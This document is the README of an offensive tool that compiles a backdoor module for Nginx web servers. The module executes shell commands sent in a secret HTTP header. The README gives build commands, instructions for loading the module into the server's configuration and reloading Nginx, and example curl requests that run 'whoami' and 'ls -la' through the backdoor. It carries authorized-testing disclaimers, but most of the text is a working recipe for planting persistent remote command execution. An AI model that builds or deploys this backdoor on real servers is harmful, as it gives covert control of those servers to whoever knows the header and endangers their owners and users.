# nginx-backdoor-mod

`nginx-backdoor-mod` is a penetration testing tool designed to create a custom Nginx module that adds a backdoor for executing system commands via HTTP headers. This tool is intended for authorized security testing to evaluate the security of Nginx-based web servers.

> **WARNING**: This tool is for **authorized security testing only**. Unauthorized use may violate laws and regulations. The author and contributors are not responsible for misuse. Always obtain explicit permission before testing any system.

## Features

- **Dynamic Nginx Module Creation**: Build a custom Nginx module with a specified name and backdoor header.
- **Command Execution via HTTP Headers**: Execute system commands on the server by sending a specific HTTP header.
- **Support for Multiple Nginx Versions**: Download and build against specified Nginx releases from `nginx.org`.
- **Dockerized Build Environment**: Use a Docker container to ensure consistent build dependencies.
- **List Available Nginx Releases**: Retrieve a list of available Nginx versions for module compilation.

## Installation

### Prerequisites

- **Docker**: Required to build the module in a consistent environment.
- **Bash**: For running the build scripts.
- **curl**: For downloading Nginx source code.

### Steps

- Clone the repository:

```
$ git clone https://cgit.heqnx.com/nginx-backdoor-mod
$ cd nginx-backdoor-mod
```

- Build the docker environment with nginx mod build script:

```
$ ./build.sh
[...]
$ usage: build-nginx-backdoor-mod.sh [-l] [-r -n]

-l     list nginx releases
-r     choose release
-n     set name for the built nginx module
-h     print this help message and exit
```

## Usage

### Command-Line Flags

```
$ ./build.sh
[...]
$ usage: build-nginx-backdoor-mod.sh [-l] [-r -n]

-l     list nginx releases
-r     choose release
-n     set name for the built nginx module
-h     print this help message and exit
```

### Examples

#### List available Nginx releases

```
$ ./build-nginx-backdoor-mod.sh -l
[inf] releases provided by nginx.org
nginx-1.24.0.tar.gz
nginx-1.25.0.tar.gz
nginx-1.26.0.tar.gz
[...]
```

#### Build a backdoor module for Nginx 1.20.1

```
$ ./build.sh -r nginx-1.20.1.tar.gz -n test
[inf] downloading https://nginx.org/download/nginx-1.20.1.tar.gz
[inf] extracting nginx-1.20.1.tar.gz to /root/nginx-backdoor-mod
[inf] configure successful
[inf] successfully built test.so

[inf] output module "/root/nginx-backdoor-mod/test_v1.20.1_X-325901e0f4512f4c22a43a6eb455ae0b.so"
[inf] use "X-325901e0f4512f4c22a43a6eb455ae0b" for backdoor authentication + command execution
[inf] example: curl http://localhost -H 'X-325901e0f4512f4c22a43a6eb455ae0b: ls -la'
[inf] enable with nginx module config in /etc/nginx/modules-enabled and "load_module /path/to/test.so;"
[inf] enable with the main nginx config in /etc/nginx/nginx.conf and "load_module /path/to/test.so;"
```

#### Deploy the module

- Copy the generated `.so` file (e.g., `test_v1.20.1_X-<random>.so`) to your Nginx server’s modules directory (e.g., `/usr/lib/nginx/modules/`).

- Add the module to your Nginx configuration in `/etc/nginx/nginx.conf` or a file in `/etc/nginx/modules-enabled/`:

```
load_module /usr/lib/nginx/modules/test_v1.20.1.so;
```

- Reload or restart Nginx:

```
$ nginx -s reload
$ systemctl restart nginx
```

- Test the backdoor by sending a command via the specified header:

```
$ curl http://localhost -H 'X-<random>: whoami'
```

## Technical Details

- **Docker Build**: The tool uses a Dockerfile to create an Ubuntu-based environment with dependencies (`build-essential`, `libpcre3`, `zlib1g`, `libssl-dev`, `curl`).
- **Module Template**: The `ngx_mod_template/` directory contains a `config` file and `ngx_mod_template.c`, which are modified during the build to set the module name and backdoor header.
- **Backdoor Mechanism**: The module checks for a specific HTTP header (randomly generated during the build) and executes its value as a shell command using `/bin/sh`.
- **Output**: The compiled module is saved as `<name>_v<version>_<header>.so` in the `nginx-backdoor-mod/` directory.

## License

This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the LICENSE file for details.

## Disclaimer

`nginx-backdoor-mod` is provided "as is" without warranty. The author and contributors are not liable for any damages or legal consequences arising from its use. Use responsibly and only in authorized environments.